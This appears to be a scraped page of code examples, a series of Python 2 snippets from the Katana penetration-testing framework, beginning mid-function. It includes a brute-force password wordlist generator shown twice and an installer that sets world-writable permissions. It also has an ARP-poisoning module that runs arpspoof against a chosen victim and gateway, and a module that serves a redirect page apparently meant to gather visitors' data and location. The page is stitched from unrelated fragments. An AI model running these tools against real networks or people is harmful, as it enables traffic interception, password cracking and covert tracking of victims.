                                unidad = 0
                                return cadena1
                            elif acarreo == 1:
                                cadena[-(digito)] += 1
                                acarreo = 0
                                return cadena1
                        else:
                            cadena[-(digito)] = 1
                            acarreo = 1
                    return cadena1

                for number_total in cadena_max:
                    Maxima = Maxima * number_total
                procent = int(Maxima) / 10
                counter = 0
                porcent = 0
                print " " + Alr + " Creating file...      ", ping.status_cmd(
                    "echo  >" + defaultdic, "\t\t\t")
                print " " + Alr + " Generating... [" + str(
                    Maxima) + "] Words to Generate " + str(
                        porcent) + "% Complete"
                fichero = open(defaultdic, 'w')
                bucle = True
                while bucle:
                    password = toClave(cadena)
                    fichero.write(password + '\n')
                    counter = counter + 1
                    if procent == counter:
                        procent = procent + procent
                        porcent = porcent + 20
                        print " " + War + " " + str(
                            porcent) + "% Porcent Complete"
                    if isMax(cadena):
                        porcent = porcent + 20
                        print " " + War + " " + str(
                            porcent) + "% Porcent Complete"
                        bucle = False
                    cadena = aumentarCadena(cadena)
                print(" " + Suf + " Completed, output file in " + defaultdic)
                d.space()
                fichero.close()
            except:
                Errors.Errors(event=sys.exc_info(), info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=False)
    Gendic(0)
示例#13
0
print "    __________?_________________________________  				 "#    __________?_________________________________  
print "   {_"+colors.C+"|"+colors.W+" "+colors.C+"|"+colors.W+" "+colors.C+"|"+colors.W+" "+colors.C+"|"+colors.W+" I"+colors.GR+"#################################"+colors.W+"/  				 "#   {_"+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" "+colors.R+"|"+colors.W+" I#################################/  
print "     ^ ^ ^ ^   ,ww   "+colors.O+"FRAMEWORK"+colors.W+"   ww,                   				 "#     ^ ^ ^ ^ EHT KROWEMARF, dliuB      
print "                   I_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_I                  				 "#                   I_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_I                  
print "                   \_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_/                  				 "#                   \_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_"+colors.R+"|"+colors.W+"_/                  
print ""
print ""
if os.getuid() != 0:
	print " ["+colors.R+"-"+colors.W+"] ERROR:"+colors.B+" Katana Install"+colors.B+" must be run as "+colors.R+"root"+colors.W+"."
	print " ["+colors.R+"-"+colors.W+"] login as root ("+colors.R+"sudo"+colors.W+") or try "+colors.W+"sudo python install.py"+colors.W+"\n"
	exit(1)
print colors.O+" Wait... "
time.sleep(2)
print colors.B+" Katana framework, installing"
print " Configuration in /core/Setting.py"
print colors.W+" Creating Folder ", ping.status_cmd('mkdir -p '+PATCH_INTALL+'katana',"\t\t\t\t\t\t")
print colors.W+" Coping files ktf ", ping.status_cmd('cp -r * '+PATCH_INTALL+'katana',"\t\t\t\t\t\t")
print colors.W+" Giving privileges ", ping.status_cmd('chmod -c -R 777 '+PATCH_INTALL+'katana/',"\t\t\t\t\t\t")
print colors.W+" Creating Link [1] ", ping.status_cmd('cp core/ktf.console /usr/bin/ktf.console',"\t\t\t\t\t\t")
print colors.W+" Creating Link [2] ", ping.status_cmd('cp core/ktf.run /usr/bin/ktf.run',"\t\t\t\t\t\t")
print colors.W+" Creating Link [3] ", ping.status_cmd('cp core/ktf.lab /usr/bin/ktf.lab',"\t\t\t\t\t\t")
print colors.W+" Creating Link [4] ", ping.status_cmd('cp core/ktf.linker /usr/bin/ktf.linker',"\t\t\t\t\t\t")
print colors.W+" Giving privileges [1] ", ping.status_cmd('chmod -c 777 /usr/bin/ktf.console',"\t\t\t\t\t")
print colors.W+" Giving privileges [2] ", ping.status_cmd('chmod -c 777 /usr/bin/ktf.lab',"\t\t\t\t\t")
print colors.W+" Giving privileges [3] ", ping.status_cmd('chmod -c 777 /usr/bin/ktf.run',"\t\t\t\t\t")
print colors.W+" Giving privileges [4] ", ping.status_cmd('chmod -c 777 /usr/bin/ktf.linker',"\t\t\t\t\t")
print ""
print " Now you can remove this diretory."
print " Done !!!"
print ""
print " USE: "
示例#14
0
def arpp(run): 
    try:
        global defaultgat,defaultipv,defaultint
        if run!=1:
            actions=raw_input(d.prompt("net/arpspoof"))
        else:
            actions="run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target","yes","IP victim",defaultipv)
            d.descrip("gway","yes","Gateway-Router.",defaultgat)
            d.descrip("inter","yes","Interface",defaultint)
            d.helpAUX()
            if ping.conneted()!=False:
                ping.interfaces(1)
                ping.get_gateway(1)
                ping.my_mac_address(1)
                d.space()
                ping.lan_ips(1)
            else:
                print d.noconnect()
            print ""
            arpp(0)
        elif actions[0:10] == "set target":
            defaultipv = actions[11:]
            d.change("target",defaultipv)
            arpp(0)
        elif actions[0:8] == "set gway":
            defaultgat = actions[9:]
            d.change("gway",defaultgat)
            arpp(0)
        elif actions[0:10] == "set inter":
            defaultint = actions[11:]
            d.change("inter",defaultint)
            arpp(0)
        elif actions=="exit" or actions=="x":
            d.goodbye()
            exit()
        elif actions=="help" or actions=="h":
            help.help()
        elif actions=="back" or actions=="b":
            return
            return
        elif actions=="run"  or actions=="r":
            d.run()
            try:
                print " "+Alr+" Ensure the victim recieves packets by forwarding them",ping.status_cmd('echo 1 > /proc/sys/net/ipv4/ip_forward','\t')
                print " "+Alr+" Starting ARP Poisoning..."
                try:
                    os.system("arpspoof -i "+defaultint+" -t "+defaultipv+" -r "+defaultgat)
                except:
                    print " "+Alr+" Stopping ARP Poisoning..."
                    print " "+Alr+" forwarding in 0",ping.status_cmd('echo 0 > /proc/sys/net/ipv4/ip_forward','\t\t\t')
                    Errors.Errors(event=sys.exc_info()[0], info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    arpp(0)
示例#15
0
文件: GenDic.py 项目: Reality9/Katana
def Gendic(run):
	try:
		global defaultdic,defaultlon,defaultstr
		if run!=1:
			actions=raw_input(d.prompt("mc/gendic"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("path","yes","Output file",defaultdic)
			d.descrip("long","yes","Longitude",defaultlon)
 			d.descrip("type","yes","Type matrix",defaultstr)
			d.helpAUX()
			print " "+colors[7]+"Type        Description"+colors[0]
			print " chars_min = [a,b,c,...,z]"
			print " chars_may = [A,B,C,...,Z]"
			print " chars_num = [0,1,2,...,9]"
			print " chars_mix = [a,b,...,0,1]"
			d.space()
			Gendic(0)
		elif actions[0:8] == "set path":
			defaultdic=ping.update(defaultdic,actions,"path")
			d.change("path",defaultdic)
		elif actions[0:8] == "set long":
			defaultlon=ping.update(defaultstr,actions,"long")
			d.change("long",defaultlon)
		elif actions[0:8] == "set type":
				defaultstr = actions[9:]
				if defaultstr != "chars_min" and defaultstr != "chars_may" and defaultstr != "chars_num" and defaultstr != "chars_mix":
					print " "+Alr+" Error to set type, use chars_min, chars_mix, chars_may or chars_num"
					defaultstr="chars_num"
					Gendic(0)
				else:
					defaultstr=defaultstr
					d.change("type",defaultstr)
					Gendic(0)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				Maxima=1
				long_max = long(defaultlon) 
				long_min = long(defaultlon)
				char_null = ['']
				chars_min = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
				chars_may = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
				chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
				chars_spe = ['.', '-', '_', '/', '@']
				permitidos = []
				permitidos += char_null
				if defaultstr == "chars_num":
					permitidos += chars_num
				if defaultstr == "chars_may":
					permitidos += chars_may
				if defaultstr == "chars_min":
					permitidos += chars_min
				if defaultstr == "chars_mix":
					permitidos +=chars_min
					permitidos +=chars_num
				total_chars = len(permitidos)
				char_n_max = total_chars - 1
				cadena = []
				for chars in range(0, long_max):
					cadena += [0]
				for i in range (1, long_min+1):
					cadena[-(i)] = 1
				cadena_max = []
				for chars in range(0, long_max):
					cadena_max += [ total_chars -1 ]
				def toClave(cadena1):
					password = ""
					for indice in cadena1:
						password += permitidos[indice]
					return password
				def isMax(cadena1):
					if toClave(cadena1) != toClave(cadena_max):
						return False
					return True
				def aumentarCadena(cadena1):
					unidad = 1
					acarreo = 0
					for digito in range(1,long_max +1):
						if cadena[-(digito)] < char_n_max:
							if unidad == 1:
								cadena[-(digito)] += 1
								unidad = 0
								return cadena1
							elif acarreo == 1:
								cadena[-(digito)] += 1
								acarreo = 0
								return cadena1
						else: 
							cadena[-(digito)] = 1
							acarreo = 1
					return cadena1
				for number_total in cadena_max:
					Maxima=Maxima*number_total
				procent=int(Maxima)/10
				counter=0
				porcent=0
				print " "+Alr+" Creating file...      ",ping.status_cmd("echo  >"+defaultdic, "\t\t\t")
				print " "+Alr+" Generating... ["+str(Maxima)+"] Words to Generate "+str(porcent)+"% Complete"
				fichero = open(defaultdic, 'w')
				bucle = True
				while bucle:
				    password = toClave(cadena)
				    fichero.write(password + '\n')
				    counter=counter+1
				    if procent == counter:
				    	procent=procent+procent
				    	porcent=porcent+20
				    	print " "+War+" "+str(porcent)+"% Porcent Complete"
				    if isMax(cadena):
				    	porcent=porcent+20
				    	print " "+War+" "+str(porcent)+"% Porcent Complete"
				    	bucle = False
				    cadena = aumentarCadena(cadena)
				print(" "+Suf+" Completed, output file in "+defaultdic)
				d.space()
				fichero.close()
			except:
				Errors.Errors(event=sys.exc_info(), info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=False)
	Gendic(0)
示例#16
0
文件: ktf.lab.py 项目: hxp2k6/Katana
### Katana Framework Laboratory
### you can redistribute it and/or modify
### it under the terms of the GNU General Public License as published by
### the Free Software Foundation, either version 3 of the License, or
### (at your option) any later version. 

from core.design import *
from core.Setting import *   
from core import info
from core import ping 
import sys

CLASS_BANNER=DESIGN()
CLASS_BANNER.ktflab(info.version,info.build)
try:
	print ""
	print " "+Suf+" Starting Katana Laboratory"
	print " "+Alr+" Coping Katana Laboratory to apache folder",ping.status_cmd("cp -R KatanaLAB "+PATCH_WWW+"KatanaLAB","\t")
	print " "+Alr+" Giving privileges to folder",ping.status_cmd("chmod -c -R 777 "+PATCH_WWW+"KatanaLAB/","\t\t\t")
	print " "+Alr+" Starting Apache2",ping.status_cmd("service apache2 start","\t\t\t\t")
	print " "+Suf+" Katana Lab Started"
	CLASS_BANNER.go("http://localhost/KatanaLAB")
	raw_input(" "+Hlp+" Press any key for Stop Katana Lab")
	print(" "+Alr+" Stoping Process")
	print " "+Alr+" Removing files",ping.status_cmd("rm -R "+PATCH_WWW+"KatanaLAB","\t\t\t\t\t")
	print " "+Alr+" Stoping Apache2",ping.status_cmd("service apache2 stop","\t\t\t\t\t")
	print " "+Suf+" Katana Lab Stoped"
	print ""
except:
	print sys.exc_info()
示例#17
0
def getdatareport(run):
    try:
        global defaultred, defaultjav
        if run != 1:
            actions = raw_input(d.prompt("set/gdreport"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("link", "yes", "redirectly", defaultred)
            d.descrip("java", "no", "JS for Geo", defaultjav)
            d.space()
        elif actions[0:8] == "set link":
            defaultred = ping.update(defaultred, actions, "link")
            d.change("link", defaultred)
        elif actions[0:9] == "set javas":
            defaultjav = actions[10:]
            if defaultjav == "true" or defaultjav == "false":
                d.change("javas", defaultjav)
            else:
                d.nodataallow()
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                print " " + Alr + " Setting files", ping.status_cmd(
                    'echo "<?php \$url=\'http://' + defaultred +
                    '\';\$javascript=\'' + defaultjav + '\';?>" > ' +
                    PATCH_WWW + '/appconfig.php & echo ', "\t\t\t\t")
                print " " + Alr + " Coping files to server", ping.status_cmd(
                    "cp files/getdatareport/* " + PATCH_WWW, "\t\t\t")
                print " " + Alr + " Giving privileges to files", ping.status_cmd(
                    "chmod -R 777 " + PATCH_WWW, "\t\t")
                if True:
                    try:
                        print " " + Alr + " Starting Apache Server", ping.status_cmd(
                            "service apache2 start", "\t\t\t")
                        d.go("http://127.0.0.1/redirect.php?id=1337")
                        raw_input(" " + Hlp +
                                  " Press any key for Stop GetDataReport")
                        print(" " + Alr + " Stoping Process")
                        print " " + Alr + " Removing files", ping.status_cmd(
                            "rm " + PATCH_WWW + "/redirect.php " + PATCH_WWW +
                            "/appconfig.php " + PATCH_WWW + "/jquery.js",
                            "\t\t\t\t")
                        print " " + Alr + " Stoping Apache", ping.status_cmd(
                            "service apache2 stop", "\t\t\t\t")
                    except:
                        print ""
                        print(" " + Alr + " Stoping Process")
                        print " " + Alr + " Removing files", ping.status_cmd(
                            "rm " + PATCH_WWW + "/redirect.php " + PATCH_WWW +
                            "appconfig.php " + PATCH_WWW + "/jquery.js",
                            "\t\t\t\t")
                        print " " + Alr + " Stoping Apache", ping.status_cmd(
                            "service apache2 stop", "\t\t\t\t")
                        print ""
                        getdatareport(0)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    getdatareport(0)